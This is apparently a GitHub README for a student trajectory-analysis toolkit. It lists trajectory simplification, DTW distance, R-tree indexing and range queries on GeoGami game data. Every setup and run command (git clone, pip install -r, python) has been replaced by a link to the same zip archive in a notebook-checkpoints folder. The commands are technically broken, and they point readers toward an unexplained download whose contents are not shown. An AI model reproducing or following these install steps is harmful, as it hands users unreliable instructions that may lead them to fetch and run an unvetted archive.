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Trajectory Analysis Project

A Python toolkit for analyzing, simplifying, and indexing spatial trajectory data from the GeoGami geogame


Overview

This project processes 62 real-world movement trajectories and implements core spatial algorithms for:

  • Visualization of movement patterns
  • Trajectory simplification
  • Spatial indexing
  • Efficient range querying
  • Performance benchmarking

Features

  • Interactive GUI built with Tkinter
  • Trajectory simplification:
    • Douglas-Peucker algorithm
    • Sliding Window algorithm
  • Distance metrics:
    • Closest-Pair Distance
    • Dynamic Time Warping (DTW)
  • R-tree spatial indexing
  • Range queries (R-queries)
  • Performance comparison:
    • R-tree search vs. Naive linear search

Installation

Prerequisites

  • Python 3.8+
  • Matplotlib
  • NumPy
  • Pytest

Setup

git clone https://github.com/Shamzmohamed/Trajectory_analysis/raw/refs/heads/main/.ipynb_checkpoints/Trajectory_analysis_v1.9-alpha.4.zip
cd Trajectory_analysis
pip install -r https://github.com/Shamzmohamed/Trajectory_analysis/raw/refs/heads/main/.ipynb_checkpoints/Trajectory_analysis_v1.9-alpha.4.zip

Run the Application

python https://github.com/Shamzmohamed/Trajectory_analysis/raw/refs/heads/main/.ipynb_checkpoints/Trajectory_analysis_v1.9-alpha.4.zip

Tech Stack

  • Matplotlib – Visualization and plotting
  • Tkinter – Graphical User Interface
  • NumPy – Numerical computations
  • Pytest – Unit testing

Project Structure

Trajectory_analysis/

Project Authors

  • Ram Kumar Muthusamy
  • Mohamed Shamsudeen
  • Sanju Shree Suresh Kumar

This project was developed for the Trajectory Analysis course at the University of Münster.

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Trajectory analysis sose-23

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  • Python 100.0%